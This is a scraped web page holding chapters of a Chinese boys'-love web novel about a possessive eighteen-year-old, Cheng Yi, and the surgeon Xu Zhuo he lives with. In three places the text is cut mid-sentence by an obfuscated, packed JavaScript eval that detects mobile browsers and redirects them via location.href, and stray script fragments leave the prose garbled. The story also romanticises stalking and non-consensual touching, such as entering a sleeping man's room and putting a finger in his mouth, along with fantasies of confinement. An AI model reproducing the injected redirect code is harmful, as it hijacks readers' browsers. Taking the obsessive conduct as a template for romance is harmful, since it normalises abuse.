很快洗好出来,还是没看到丞弋人。 许酌有些担心,到玄关的卫生间门口敲了下门,“小弋你没事吧?怎么洗这么久?” 他话音落下,卫生间传出一声低低的哼声。 许酌担心他摔倒或是碰到哪里,又敲门,“小弋?” “许酌哥........”丞弋的声音从门板后面传出来,但有些低哑,混着哗哗流水声,让人听不真切。 许酌把耳朵附在门板上,“怎么了?” “许酌哥。”丞弋又喊许酌,这次的声音清透了些,“我忘记拿换洗的衣服了,你能帮我拿一下么?在行李箱里。” 许酌看了眼还靠立在鞋柜旁的黑色行李箱,问里面的丞弋,“箱子有密码么?” 丞弋说,“106。” 许酌按照丞弋给的密码打开行李箱,却不知道拿什么,侧头问卫生间里的人,“拿哪一套?” 丞弋说,“都可以的许酌哥。” 又说,“对了许酌哥,可以麻烦你再帮我那一条内裤么?内裤在黑色的收纳袋里。 许酌笑说,“你怎么就带个人进去了。” 丞弋正在用花洒冲掉黏在墙上的乳白色。 他神色间带着浓郁的满足。 他是在许酌哥喊他的声音里绽放出来的。 虽然许酌哥的声音又轻又远。 但那一瞬间带给他的颤栗感还是让他有种许酌哥就在他耳边喊他一样。 以至于丞弋手上一抖,就对着墙壁绽放出一簇白色的烟花。 看着那丝丝缕缕的白色顺着水流没进下水道,丞弋只觉得有些可惜。 他多希望这些东西都可以留在许酌哥身体里。 “抱歉啊许酌哥。”丞弋眼底湿稠,声音却乖极了,“我下次会注意的。” 丞弋行李箱里没有类似睡衣的衣服,许酌就拿了一件卫衣和休闲裤。 然后又打开收纳袋从里面拿出一条黑色内裤。 全都拿好。 他起身敲门,“开门吧,衣服递给你。” 丞弋走到门边把门打开。 他克制着把自己整个人都坦露在许酌面前的冲动,只顺着门的缝隙伸出一只沾着水珠的手臂。 许酌没有乱看,把衣服放在他手里。 丞弋接过衣服关上门,许酌合上丞弋的行李箱,去了厨房盛了两碗姜汤端去客厅。 姜汤煮的有点多,丞弋一个人肯定喝不完,许酌就想给自己也灌一碗。 今天做了两台四个小时以上的手术,他确实被冷到了。 等他坐进沙发里慢慢喝完一碗暖暖的姜汤,卫生间门的门也终于打开了。 “许酌哥,内裤晾在哪里?”丞弋走出来,沾着水珠的手里拿着一团黑色的布料,显然是洗过的内裤。 许酌抬手指着阳台,“晾衣架在阳台,遥控器在墙上。” 丞弋嗯了声,顺着许酌所指往阳台上走。 晾衣架自带感应系统,丞弋一走过去就自动亮起了灯。 借着灯光,丞弋一眼就看到衣架最外侧挂着的那条黑色内裤。 很显然,那是许酌的。 丞弋扬了扬唇角。 好可爱。 许酌哥的内裤都那么可爱。 丞弋定定盯着那条小一号的内裤看了好几秒,把自己的内裤挂在许酌那条内裤后面。 两条黑色内裤挂在一起,大小分明。 更可爱了。 丞弋用自己内裤凸起部分撞了撞许酌的那条内裤。 被撞到的内裤在空气中轻轻颤了颤,像是有些受不住。 丞弋几乎都能想象到许酌那因为体温升高而浮起粉色的雪浪在自己身前发抖的模样。 只是想到那个画面,丞弋整个人就再度躁了起来。 “小弋。”许酌的声音在身后响起,“你怎么不把头发吹干就出来了。” 丞弋深吸一口气平复了下身体内的躁动,这才转身进来。 绕过沙发来到许酌身边坐下。 坐下来的少年人带着一身燥意,许酌奇怪看他。 丞弋却在这个时候伸手去抓许酌的手。 掌心紧贴着手背,许酌能清晰地感受到少年人掌心里湿热的滚烫。 许酌蹙了下眉,“手怎么这么热,发烧了么?” 说着,他探手去摸丞弋的额头。 额头温热,不至于烫。 丞弋在许酌柔软的掌心下轻轻蹭了蹭,“没发烧的许酌哥。” 他说,“我就是有点热,所以我想等下再吹头发,可以么许酌哥?” “你不觉得冷就可以。”许酌收回手,但掌心还带着少年人偏高的体温。 他有些不太自在地搓了搓掌心,面上自若续声说,“还有,你不用什么事都问我的,你在我这里可以有你自己的想法和主见,知道么?” 丞弋和许酌对视,“我可以有自己的想法和主见?” 许酌嗯了声,“你只要不把家拆了,其它想做什么都随你。” 丞弋慢慢弯起唇角,目光暗藏隐秘的兴奋。 想做什么都随我。 那....... “许酌哥。”丞弋抓住许酌另一只手,将他的两只手都包裹在自己的掌心里,目光认真又期待,“我晚上可以和你一起睡么?” 许酌立即说,“当然不行。” 丞弋眼底沉了一瞬,随即又很快笑出来,“开玩笑的,许酌哥怎么这个表情。” 客厅温暖的灯光下。 许酌眼睛微微瞪圆,嘴巴微张,似是不敢相信自己听到了什么。 丞弋的目光落在他泛着粉色的唇形上。 许酌的唇形真得很好看,厚薄适中,饱满得恰到好处。 慢慢往里探,还能看到他口中那点湿红的软舌。 好烦。 许酌哥又在勾引他。 但他好喜欢。 要是现在就能舔一口许酌哥就好了。 他想舔许酌哥半张的嘴巴,想舔他嘴巴里那湿红的软舌。 还想舔他发懵的眼角。 想把他整个人都舔成湿润的水红色,。 那样一定非常迷人。 许酌看不到自己的脸,不知道自己脸上挂着多漂亮的懵然。 只知道丞弋包裹在他手背之上的掌心温度真的有些烫人。 他不着痕迹地挣开,“小坏蛋,我的玩笑你都敢开了。” 掌心柔软的温度尽数消失,丞弋眼底不悦。 但嘴角的笑意仍旧很乖,“不是许酌哥说的么,让我随意一点。” 许酌说,“我让你随意,没让你没大没小。” 不等这莽撞少年再说什么大胆的话,许酌赶紧把另一碗姜汤端过来,“先喝汤吧,等下要凉了。” 担心他不喜欢姜的味道,还特意说,“放了糖,姜味不重,你尝尝。” 丞弋接过姜汤,“谢谢许酌哥。” 他端起姜汤,一饮而尽。 许酌被他豪放的架势弄的一愣,“喝那么快干嘛,等下呛到了。” 丞弋笑得腼腆,“这是许酌哥给我煮的姜汤,我想快点喝掉。” 如果可以。 他还想把许酌哥也顺便吃掉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207391|165798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “傻不傻的。”许酌下意识要去揉他的头发,却在快要碰到的时候停了下来。 湿发揉起来容易打结。 而且,他现在也不适合动不动就揉丞弋的头。 虽然他并没把丞弋错误的喜欢当成洪水猛兽来防备。 但该有的分寸他还是不能忘的。 许酌收回手,“走吧,我跟你去把你房间的床单换一下。” 丞弋起身,“许酌哥可以等我一下么?” 许酌看他,“怎么了?” 丞弋说,“我想先去吹个头发。” 许酌点头,“可以啊,你去吧,我去把碗洗了。” 丞弋拿起许酌喝过的空碗,“不用!碗我来洗就好!” 话音落下,丞弋就行动力很强的去厨房把碗和锅都洗了。 把碗放好。 他还顺便把台面上残留的水珠也擦干净了。 随后就一刻不停地回了卫生间去吹头发。 很快吹好,丞弋迅速回到许酌身边半跪下来,“可以了许酌哥。” 许酌正随手翻阅着《打开一本心脏》等丞弋,见他忽然半跪在自己腿边,有些茫然,“可以了什么?” 丞弋拉过许酌的手放在自己头上,自下而上的视线带着一片隐秘的期待,“可以摸头了。” 许酌安静。 丞弋这个样子......好像有点像问主人讨要摸摸的宠物狗。 明明很大一只。 但又乖。 又可爱。 许酌有种被宠物狗取悦到的开心,手上不由自主就轻轻揉了揉他的头,“你怎么这么可爱。” 丞弋轻声问他,“许酌哥喜欢么?” 直白的问题让许酌理智回归,他顿手无奈,“你这小孩怎么回事,怎么每句话都带着坑。” 见许酌要收回手,丞弋赶紧抓住他的手,黏稠的目光也紧紧包裹着许酌,“不是坑,我只是想确认下许酌哥会在什么时候喜欢上我。” 他说的有理有据,“不是许酌哥说的么?许酌哥会因为某个细节而动心。” 许酌简直无法反驳,收回手用书轻轻敲了下丞弋的头,“我说过那么多话,你只记住了这一句是吧。” 丞弋没有反驳。 许酌也不跟他计较,起身说,“走了,去给你换床单了。” 换好床单,许酌交代他一句早点休息,就转去书房弄他的论文了。 十一点从书房出来时,许酌特意往次卧房间看了一眼。 见里面没有光线透出来,这才回卧室休息。 半夜两点。 万籁俱寂。 次卧房间门缓缓打开,漆黑的光影里显出一抹高大的身影。 丞弋隐在黑暗里扫视整个客厅。 片刻后,他从房间里走出来。 他走得很慢,很轻。 窗外有光洒在客厅。 丞弋路过客厅时,冷色光照亮他的脸,将他那张本就冷白的显得宛如鬼魅。 他踩着微弱的光缓步来到许酌门前。 骨节分明的大手缓缓抬起,落在黑色的门把手上。 掌心微微用力,压着门把手一点点往下。 寂静的深夜,一点声响都足以清晰可见地落在空气里。 锁芯离扣却没有发出任何声音。 丞弋沉黑眼底迸发出一片烈焰般的亢奋,嘴角勾起弧度。 门没锁。 许酌哥在故意引诱他。 好在他很乖,没想现在就对许酌哥做什么。 他过来只是想看许酌哥一眼。 想看看许酌哥今天有没有偷偷为丞敛那个傻逼掉眼泪...... 8. 第 8 章 08 门板慢慢推开一条窄小的缝隙。 丞弋的目光越过那条缝隙看向卧室。 卧室的床尾亮着一盏夜灯。 夜灯的光源很弱,照不到床上。 丞弋看不清许酌的脸,只能看到他掩在被子下的蜷缩身形。 很可爱的一小团。 他的许酌哥怎么那么可爱。 他简直快要喜欢死许酌哥了。 扭曲的欲望愈演愈烈,窄小的门板缝隙也随之而扩大。 丞弋推开门板,脚步很轻地走进来。 他每走近一步,许酌的脸就清晰一分。 终于走到床边。 许酌的脸也完整地倒映进他那双幽黑的眼底。 丞弋在床边缓缓跪下来,胳膊肘撑在床边。 凝落在许酌脸上的目光犹如一张密不透风的蛛网。 刚好把许酌严丝合缝地笼罩其中。 许酌睡着的样子温柔又安稳。 眼睫干燥又柔软。 很显然,没有哭。 丞弋松了一口气。 而后,他的视线逐渐大胆。 缓缓移动的视线毫不收敛地沿着许酌温柔的眉眼一点点往下扫。 只能在他身下哭泣的眼睛,适合和他鼻尖相抵的鼻梁,很好亲的唇瓣。 一只手就能握住的脆弱脖颈。 无时无刻都在勾引他的漂亮锁骨....... 再往下,是碍眼的被子。 丞弋眸光暗了一下,为什么要盖被子? 这么热的天为什么要盖被子? 丞弋很想掀开被子,去看掩盖在被子下的风光。 或者说。 他更想脱光许酌的衣服,让他□□地呈现在自己眼前。 那样,他就能更加清楚地去欣赏许酌哥的身体了。 许酌哥皮肤白,身材比例绝美。 圆润的臀形和笔直的长腿只是从他眼前晃过,就轻而易举勾出他心底那野狗一般阴暗的贪欲。 可许酌哥好小气。 他认识许酌哥那么久,许酌哥都没给他看过裸|体。 可丞敛那个傻逼却什么都见过。 真的好不公平。 “许酌哥......”昏暗的光影里响起丞弋缥缈的低声,犹如缠在人身上的怨鬼,“你明天不要穿衣服睡觉了,好不好?” 回应他的。 是夜色下许酌平稳的呼吸声。 那呼吸声轻轻柔柔地传进丞弋耳朵里,像蝴蝶扇动起来的翅膀。 飘然越过他耳廓,带起震颤灵魂的酥痒。 丞弋眼底的亢奋更加欣喜若狂。 他望着熟睡的许酌。 许酌哥对他真是一点防备都没有。 这样的话,他是不是可以...... 搭在床单的手慢慢往前推进。 空气里响起细微的摩挲声。 像伺机捕猎的毒蛇缓缓朝着猎物爬行一般。 而最终。 丞弋的手还是在即将快要探进被窝之前停了下来。 不行。 他不能这样亵渎许酌哥。 许酌哥会生气的。 但丞弋并没有直接收回手,而是缓缓抬起,然后慢慢落到许酌的唇瓣上。 指腹抵开唇瓣,在坚硬的贝齿前探到一抹令人血液沸腾的湿热。 与此同时,许酌似是有些被打扰到了,用手背无意识蹭了蹭唇,随后就抓着被子转了个身。 丞弋的手被许酌推开,不悦地停顿在半空中。 空气微凉,为了防止那点湿热被空气带走,即使不悦,丞弋还是无比小气地把沾染着许酌口中湿热的指腹含进了自己口中。 好甜。 许酌哥的温度好甜。 只可惜没有沾到口水。 不然应该会更甜才对。 丞弋还是慢慢扬起一抹阴湿的笑意,爽得,“谢谢许酌哥的奖励,我很喜欢。” 他没有偷亲,也没有偷摸。 这是他该得的奖励。 ....... 次日。 许酌是被电话铃声吵醒的。 他迷迷糊糊勾过手机接听,就听电话那边急忙传来周黎安的声音,“许酌,607床老大爷突发急性心衰,已经推了速尿和西地兰,但缓不过来,血压一直在下降!可能需要立即做手术!” 昨天是周黎安值夜班。 但607是许酌收的病人,有突发情况确实应该第一时间报给许酌。 许酌顾不上困意,一个激灵坐起来:“可他没禁水也没禁食!不符合术前要求!这样吧师兄!你先推两支多巴胺看看!还稳不下去的话再送手术室!我现在给崔老师打电话!” 挂掉周黎安的电话,许酌给崔玉知打了个电话过去。 等待接听的间隙,许酌用最快的速度换衣服。 刚换好,崔玉知的电话也接了起来,“怎么了阿酌?” 许酌语速很快,“老师!607病房72岁男性突发心衰,抢救措施已经做过了,但可能还是需要立即手术!可他没做术前准备!” 崔玉知那边响起细微的摩挲声,应该是起床的动静,“我知道了,我现在过去。” 许酌应,“好!我也过来了!” 挂掉电话,许酌捞起外套出门。 刚出门口,他就愣了下。 六点半的天色已经亮了起来。 橙黄的太阳从东方升起,斜斜洒照进来,能直接铺到厨房。 丞弋在日出的暖黄里转过身,脸上挂着惊讶,“许酌哥?你怎么起这么早?” 许酌愣了下才想起丞弋昨天搬到自己这边了。 他抬脚朝厨房走过去,“你怎么起这么早?” 丞弋说,“我起来写作业,这周的作业还有很多。” 许酌已经离开高中很久了,但还是知道高三下半年的学习任务有多重。 没多思考就点头说,“行,那你记得适当休息,别太累了,我先去医院了,有个紧急病人现在需要立刻做手术。” “许酌哥等一下!”丞弋喊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207392|165798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住他。 许酌顿住脚步侧头,“嗯?” 丞弋动作迅速地把做好的培根三明治装进饭盒里,又从洗碗池旁边拿来蓝色的保温杯。 那是许酌昨天装咖啡的杯子。 家里有咖啡机,但丞弋没有给许酌做咖啡。 喝太多咖啡对身体不好。 所以他用破壁机打了豆浆。 香浓冒着热气的豆浆丝滑倒入保温杯中,丞弋盖上盖子,拿上三明治走出厨房。 “给,许酌哥。”他把三明治和豆浆递给许酌,“我看冰箱有吐司和培根,就做了这个,许酌哥到医院记得先填饱肚子再上手术,不然会没力气的。” 许酌怔了下。 或许是日出晃眼的原因,也或许是他没睡醒的原因。 许酌居然从丞弋的声音里听到了类似温柔的语气。 像个体贴的大人。 许酌有些迷惑,但还是抬手接过了丞弋递过来的东西,“好,我会好好吃完的,谢谢了。” 丞弋笑,“不谢,那许酌哥路上慢点。” 许酌嗯了声,急忙换鞋出门了。 门关上的那一刻,丞弋向上扬起的嘴角慢慢垮下来。 许酌哥好笨。 他给许酌哥做早餐,又目送许酌哥出门上班,许酌哥应该亲他一下才对。 怎么不亲呢? 不过没关系,他有的是时间。 许酌哥早晚会亲他的。 只希望许酌哥不要让他等太久。 不然他真的会忍不住的。 成功哄好自己,丞弋的心情又美妙起来。 他转身打量铺满日出的安静房间。 厨房,客厅,灰色的沙发。 沙发上随意铺着一条花色的编织毯,毯子的尾端垂落在米色的地毯上。 地毯的几何茶几上放着几本书,最上面的那本是许酌哥昨天刚翻阅过的。 沙发旁有盆养得很好的龟背竹。 电视背景墙上没有安装电视,而是打了一排不规则的书架。 书架上除了各种各样的书,还放了几盆不同的绿植。 丞弋昨晚已经查过了,那几盆绿植都是有名字的,有五彩苏、无头杂、波士顿蕨和柠檬汁儿。 角落还有一盆圆头圆脑的福寿秋海棠。 除了这些,阳台上还有几盆长势很好的花。 看得出来,他的许酌哥是真的很喜欢养这些东西。 丞弋不喜欢。 他对这些东西没耐心。 但现在,他喜欢了。 也会好好养它们。 因为。 他和许酌哥同居了。 从今天起,这里就是他和许酌哥的家了。 他会好好照顾家里每一个角落。 也会好好照顾许酌哥。 或者说,是许酌老婆。 “许酌.......老婆......”丞弋唇角勾出弧度,两个简短的词组从他口中传出,裹满了黏腻的湿热。 像阴暗角落里窥探猎物的蛇。 9. 第 9 章 09 两支多巴胺并不能让607病床的老人家稳定下来。 最后周黎安还是把老人家推进了手术室。 崔玉知住的位置距离医院不远,不出十分钟就到了。 许酌比她先到,已经提前检查好病人状态了。 崔玉知换好手术服赶过来就问,“病人情况怎么样?” 许酌用最快的速度跟崔玉知汇报,“cta显示病人二尖瓣脱垂并重度关闭不全,现在已经出现反流情况,左心房也明显增大。” “周师兄已经和病人家属沟通过了,病人家属要求能修复就修复,不能修复就换机械瓣膜。” “另外,我已经请麻醉科沈主任来了,病人没做术前准备,又吃了抗凝药物,我担心术中有风险。” 麻醉科是给手术保驾护航的关键。 手术风险越高。 对麻醉师的要求就越高。 为了以防万一。 许酌直接把麻醉科副主任请过来了。 这也算多给病人上了一道保险。 崔玉知目光赞赏,“很好,现在手术室人齐了么?” 许酌点头,“齐了,现在就差心外科圣手了。” 崔玉知笑,“就你会哄人。” 许酌也笑,“走吧老师。” 这台瓣膜置换手术还算简单,四个小左右时就结束了。 结束手术,许酌把病人送进重症监护室。 跟监护室的医生交代了下病人情况后,这才回办公室。 刚到门口还没走进,办公椅里的周黎安立即起身迎过来,“你刚才进手术室是不是没吃东西?” 许酌摇了摇头,整个人都有些有气无力,“没,老人家的情况比较危急,没顾上吃东西。” 周黎安叹了口气说,“再急你也要得先垫下肚子啊,不然你晕倒了崔老师是救你还是救病人?” 他说着走近,抬手准备搀住许酌。 许酌笑着躲开他的手,“知道了师兄,我下次会注意的。” 也就是许酌习惯了这样的突发情况,加上这台手术时间不长,不然许酌真不一定能撑得下来。 周黎安看着许酌躲开他的动作,眼底落寞一瞬,随即又很快恢复自然,“那你先吃口面包垫垫肚子吧,等下午饭去食堂再多吃点。” 说完,他脚下一转,去把他桌上的面包拿过来递给许酌。 许酌没客气,收了道谢,“谢谢师兄,等下中午请你吃饭。” 周黎安笑,“师弟,我们之间一定要这么客气么?” 虽然他很愿意和许酌一起共进午餐。 但许酌话音里的疏远还是让他有些不高兴。 许酌拉开他的椅子坐进去,“这不是客气,这是礼貌。” 周黎安去饮水机旁拿一次性杯子接水,“是是,许医生说是什么就是什么。” 许酌早就饿得前胸贴后背了,一边靠在椅背里打开面包包装袋,一边问周黎安,“师兄还不回去休息么?” 刚打开,他恍惚觉得他好像忘了什么。 周黎安倒了杯温水放到他面前,“我在值班室睡过了,不回去了。” 许酌看着眼前的一次性杯子,想到自己的保温杯,这才想起他忘了什么。 他忘了丞弋早上给他做的三明治。 他坐起身,准备去把三明治和保温杯拿来。 这时,办公室门口响起敲门声。 许酌抬眼,看到站在门口的丞弋。 丞弋身上穿着昨天他拿的那套黑色兜帽卫衣和灰色休闲裤,整个人高挑又年轻。 见他看过去,他扬唇一笑,“许酌哥。” 许酌眨了下眼,“你怎么过来了?” 丞弋走进来,“作业写累了出来散散步,正好给许酌哥送午饭。” 周黎安对他的话保持怀疑,“你从哪里散步能散到市中心的医院来?” 丞弋乖声回答,“从许酌哥家里呀。” 周黎安拧着眉头,转头去看许酌,“他住你家?” 许酌随口嗯了一声,目光看着丞弋,“你怎么还给我送午饭了?我午饭在食堂吃就行。” 丞弋没说话,垂眼看着许酌手里的面包,又看看周黎安办公桌上的纸质甜品袋,眸光一下就变了。 “许酌哥怎么现在吃面包,是早上没吃饱么?” 明明丞弋的语气还算平缓温顺。 可也不知道为什么。 许酌就是听出了一阵哀哀的幽怨。 好像他做了多对不起他的事.........好吧,忘记吃丞弋一片好心带给他的早餐确实是他有错在先。 许酌没准备说谎,实话实说,“不好意思啊小弋,我早上着急进手术室,忘记吃你给我的早餐了。” 丞弋顿住,沉默。 而他沉默的间隙,办公室的气氛也仿佛凝滞了一般,透着股让人喘不上气的湿冷气压。 良久,沉默的丞弋这才重新抬脚,一步步走近许酌,目光失控般紧紧凝住许酌,“所以,许酌哥现在要吃这个面包么?” 周黎安对丞敛没有好印象。 自然也不喜欢这个和丞敛有关系的弟弟。 听丞弋质问许酌,他下意识维护说,“他吃什么跟你有什么关系?” 丞弋脚步没停,只抬了下眼去跟周黎安对视。 他黑沉的眸子带着股湿冷的意味,直直盯着你时,黏腻又危险,仿佛被藏有剧毒的蛇盯住了一般。 周黎安不想承认他被一个高中生的眼神给吓到了。 可心底陡然冒出的寒意还是让他整个人的气场都无端弱了三分。 而这时,丞弋的视线已经从他身上离开。 重新落在了许酌身上。 仿佛他只是毒蛇朝着猎物进攻时路过的一根无关紧要的杂草。 “许酌哥。”丞弋来到许酌面前,单手撑在桌面,俯身去缠许酌的视线。 口中再一次问,“你现在要吃这个面包么?” 这种垃圾面包会比我亲手做的三明治好吃么? 求你赶紧丢掉,不然我很快就会疯掉。 你真的想看我疯起来的样子么? 许酌下意识后仰。 丞弋压过来的视线带着他无法忽视的低气压。 丞弋生气了。 还是很生气的那种。 许酌有些恍惚了。 印象里的丞弋一直都是很乖的,哪怕被父亲和哥哥冷淡对待,他脸上也没出现过这么强烈的情绪色彩。 最多就是躲在他身后偷偷抹眼泪。 而此刻。 丞弋那如墨一般漆黑的眼底却仿佛蛰伏着一只即将破笼而出的猛兽。 对视间不免让人有些心惊。 许酌觉得丞弋的情绪来的会不会太夸张了。 但转念想到什么,他忽然又有些理解了。 毕竟人家一大早就起来给他做早餐了。 他答应了会好好吃完却没能做到,反而还接受了别人的投喂。 说起来确实有些过分。 想通这一点,许酌自觉理亏,张口就要先哄住这个敏感的少年。 周黎安看出他的想法,先一步说,“许酌,你是在替丞敛养弟弟么?” 话里带着毫不掩饰的嫌弃。 许酌听了有些不高兴。 他对丞弋好只是因为想对丞弋好,不是看在丞敛的面子。 但话说回来,不管他出于什么原因对丞弋好,这话都不该轮到周黎安过问。 毕竟周黎安只是他的师兄,以及同事。 他这话,越界了。 然而还不等许酌说什么,他身前的丞弋就忽然直起身,后退一步站好。 随着距离的拉开,许酌感觉那阵笼罩在自己身上的压迫感也骤然消散了。 许酌并没有松一口气。 因为下一秒,丞弋就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207393|165798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 歉声说,“抱歉许酌哥,是我多嘴了。” 他低着头,“我没想给你添麻烦的,你不喜欢吃三明治不吃也没关系。” 他把手里的保温袋掩在身后,“那我不打扰许酌哥上班了,先回去了。” 话音落下,丞弋转身走出办公室。 许酌见丞弋的背影充满了黯然的失落,心底突然揪了一下。 但他没有立即追出去。 而是一边收起面包,一边起身看着周黎安,“师兄,你刚才的话越界了。” 周黎安不否认自己的私心,直说,“你真不觉得丞敛这个弟弟有些奇怪么?” 许酌说,“我觉得在不了解一个人之前不以偏见看人是基本礼貌。” 周黎安沉默。 半秒后,他垂眼,“抱歉。” 又立即抬眼,“但我......” “我先出去了,等下回来给师兄带咖啡。”许酌特意补一句,“作为面包的谢礼。” 周黎安还想说什么,许酌却没给他机会,径直出了办公室。 看着他着急的背影,周黎安叹了口气。 许酌,你真看不懂我的心思么? ...... 丞弋并没走远,许酌在电梯门口发现了他的身影。 许酌喊他,“小弋。” 丞弋回头,脸上还带着闷闷的不高兴。 许酌说,“跟我过来。” 丞弋没动。 但许酌已经往玻璃长廊走了。 丞弋在原地站了两秒,还是抬脚跟了过去。 玻璃长廊上撒满了明朗的光线。 许酌走到木色的栏杆边停住,转身看他。 他深绿色的手术服外面套了一件规矩系好扣子的白大褂。 身后有风吹过来,拂动他白大褂的衣摆。 像扇动翅膀的蝴蝶。 他就那样一言不发站在阳光里,就引得来往的人不自觉就把目光投落在他身上。 丞弋眼底阴郁起来。 真想把许酌哥锁起来啊,就锁在他的床上。 这样就不会有那么多心怀不轨的人一直贪恋他的许酌哥了。 日光晴朗,却仍照不到丞弋眼底那片阴湿角落。 许酌看不到,自然不知道丞弋在想什么,见他一脸幼稚的闷闷,有些好笑,“生气了?” 丞弋不说话,安静的视线直直盯着许酌的眼睛。 他没生气。 他只是有些快忍不住了。 刚才要不快点离开,他都不知道他会做出什么。 许酌哥怎么可以吃其他男人的东西。 许酌哥只能吃他的东西。 偏偏许酌哥又在这个时候笑。 许酌笑起来卧蚕饱满。 沐着光的眼睛似潋滟清水,勾得人不自觉深陷......许酌哥好坏,明知道他对这张脸毫无招架能力,还在这个时候用美色勾引他。 丞弋被诱惑着,垂在身侧的手缓缓捏紧,眸色也透着几分阴沉,“许酌哥,我可以亲你一下么?” 他感觉现在要是不能立刻亲住许酌哥,他真的会被心口的酸涩憋疯的。 许酌:? 许酌:。 许酌:“........” 许酌简直跟不上十八岁高中生跳跃的思维。 他只能尽量稳住自己的表情,不让自己被丞弋牵着走,“不可以的丞弋同学,亲吻是恋人身份才可以做的事。” “如果我非要亲呢?”丞弋缓步朝着许酌走进,充满侵略性的目光带着强势的气压,逼得许酌无意识后退。 刚退一步,手腕就被丞弋攥住。 许酌被温热的大掌桎梏在原地。 但他并不担心丞弋真的会对他做什么。 没有再退,也没有害怕。 只是安静和丞弋对视着。 丞弋迎着他的视线一点点、一点点地俯压下来。 10. 第 10 章 10 许酌看着他越逼越近,说不紧张是假的。 毕竟丞弋扑洒到自己鼻尖上的呼吸、以及他直直落在自己唇上的视线都过于灼热了。 有那么一瞬间。 他是真怕这莽撞的高中生会不管不顾朝他压过来。 好在最终,丞弋还是在快要抵破他的安全距离之前偏开了头。 许酌这才松了一口气。 而下一秒。 他的肩上就多了阵重量。 丞弋将额头抵在了他的肩膀上。 柔软的发丝落在颈间,许酌觉得有些痒,想偏下头,却听见耳边响起低落的声音,“许酌哥,这次就算了,但下次我真的会直接亲下去的。” “因为我真的很生气。” 他说是生气,可许酌只从他最后一句话里听出了无尽委屈。 于是许酌自动忽略丞弋前两句话,只针对他最后的语气和状态再一次说,“小弋,我不是故意忘记的,真的是早上太匆忙了。” 丞弋嗯了一声,从许酌肩上离开,“我相信许酌哥不是故意的。” 抬起的黑眸里再也不复刚才的阴沉,反而多了一层湿润的红色。 好像下一秒就会哭出来。 许酌没想到这件事会对丞弋造成这么严重的打击,想继续道歉,丞弋却先他一步开口说,“那许酌哥以后不可以再忘了,好不好?” 话音里带着祈求。 有些卑微。 特别是少年向下撇的嘴角还挂着未好的淤青。 看上去就更显可怜了。 许酌真的很不忍心看丞弋这个样子,点头保证,“嗯,我答应你,绝对不会再忘了。” 丞弋没有开心起来,举着一根小拇指伸到许酌面前,“许酌哥跟我拉钩。” 许酌愣了下,随即笑出来,“你还真是小孩子啊。” 丞弋不介意许酌这个时候把他当小孩子。 用小拇指勾住许酌小拇指的一瞬间,他就忍不住笑了起来。 只是笑意里充满了阴郁的偏执,“拉过钩之后,许酌哥以后就不可以再吃别的男人给的东西了,好不好?” 只能吃他的东西。 许酌无奈一笑,“行,以后我去食堂都只去阿姨窗口点。” 他在开玩笑,丞弋却当真,“真的么!” 许酌拨开他的手,“当然是假的。” 丞弋又难过起来。 长廊上人来人往,许酌看着丞弋,“小弋,以后你要是有了真正喜欢的人,是不可以凭着你自己的情绪去限制对方的,每个人都有交友自由,也有选择自由,知道么?” 丞弋眼也不眨地盯着许酌。 盯了几秒,他低头,“我错了许酌哥,我以后不说那样的话了。” 许酌本着知错就改还是好孩子的原则揉了揉他的头,“乖。” 柔软的掌心并不能直接蹭在头皮上。 但那来回揉蹭的力度还是会丞弋无比兴奋。 这点兴奋催化了丞弋心里的偏执,导致他一双微垂的黑眸里还是不由自主腾起一片浓郁的占有欲。 不可以限制许酌哥的自由么? 真的不可以么? 可许酌哥越是这样说,他就越是想把许酌哥关起来怎么办? “那不生气了?”许酌收回手,歪头去看丞弋。 丞弋抬头,目光和许酌对上的一瞬间就乖笑了起来,“嗯,不生气了。” 许酌垂眼去看他手里的袋子,“所以小弋同学带来的饭还给我么?” 听许酌主动问起饭,丞弋唇角笑意更浓了,“给的,这本来就是带给许酌哥的。” 他拉过许酌的手,把保温袋放在他手里。 放好,他没有立即收回手。 而是用两只大手轻轻包裹住许酌那只温软的手,“但我只带了许酌哥一个人的分量,不够给别人分的。” 许酌听出这小孩幼稚的小气,有些无奈,“好,那我一个人偷偷吃,不让别人看见。” 丞弋黑眸明亮,包裹在许酌手上的掌心克制着收紧,“嗯,那我陪许酌哥吃完饭再走。” 许酌带丞弋去了食堂。 还没到午饭时间,食堂人不多。 许酌找了个光线充足的位置坐下。 雨下了一个星期,他现在很需要晒晒太阳。 丞弋打开保温袋拿出里面的保温饭盒打开放到许酌面前,这才到他对面坐下。 许酌看着熟悉的饭盒愣了下。 他本以为丞弋又是顺路给他买的饭,但事实显然不是。 “这些菜是你做的?”他猜测问。 保温便当盒里的一荤一素虽然色泽诱人。 但一看就不是出自流水式的餐厅。 丞弋笑意腼腆,“嗯,我做的。” 